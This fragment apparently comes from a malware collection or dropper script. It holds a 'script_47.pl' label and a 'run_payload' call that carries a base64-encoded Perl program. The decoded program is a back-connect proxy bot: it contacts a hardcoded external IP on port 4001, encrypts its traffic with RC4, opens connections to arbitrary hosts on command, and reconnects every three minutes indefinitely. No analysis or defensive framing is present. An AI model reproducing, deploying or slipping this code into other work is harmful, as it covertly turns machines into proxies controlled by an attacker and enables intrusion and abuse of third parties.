RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_47.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3By